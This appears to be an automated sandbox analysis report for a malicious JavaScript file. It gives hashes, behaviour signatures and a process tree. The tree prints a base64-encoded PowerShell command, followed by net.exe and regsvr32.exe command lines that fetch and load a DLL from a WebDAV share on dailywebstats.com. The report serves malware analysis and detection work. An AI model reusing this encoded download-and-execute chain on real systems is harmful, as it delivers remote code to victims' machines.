Analysis

  • max time kernel
    31s
  • max time network
    37s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-08-2024 19:15

Errors

Reason
Machine shutdown

General

  • Target

    fde9e1b26fac0cd9bcbc4c6422245d1e37ca2f77b9f542d7701ffa1cea91744e.js

  • Size

    11KB

  • MD5

    2b3c7d7e8682f16d4ee6a842d5060ec1

  • SHA1

    0544bda14e7a27da2d4e76476114e28fa982d45d

  • SHA256

    fde9e1b26fac0cd9bcbc4c6422245d1e37ca2f77b9f542d7701ffa1cea91744e

  • SHA512

    b486bc9fedfcc3b3663be913dcc8bfede9e4d1708e3d089f03de29fd8496faa91c78955d2ebd1e57ea9352355c93a05ee7fa51f0257b07e8189ebadba31d3c1e

  • SSDEEP

    192:XmDGrblQZCHAl5LBV09z7ghqk5ShqvbCi:XmiOCy5sgbt

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\fde9e1b26fac0cd9bcbc4c6422245d1e37ca2f77b9f542d7701ffa1cea91744e.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:556
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADEAOAA2ADUAMgAxADUAMAA3ADMAMQA0ADUANQAuAGQAbABsAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2852
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
        3⤵
          PID:2452
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\18652150731455.dll
          3⤵
            PID:4556

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pmxpm4kb.pbr.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/2852-0-0x00007FFABBF33000-0x00007FFABBF35000-memory.dmp

        Filesize

        8KB

      • memory/2852-1-0x0000027FF7CD0000-0x0000027FF7CF2000-memory.dmp

        Filesize

        136KB

      • memory/2852-11-0x00007FFABBF30000-0x00007FFABC9F1000-memory.dmp

        Filesize

        10.8MB

      • memory/2852-12-0x00007FFABBF30000-0x00007FFABC9F1000-memory.dmp

        Filesize

        10.8MB

      • memory/2852-15-0x00007FFABBF30000-0x00007FFABC9F1000-memory.dmp

        Filesize

        10.8MB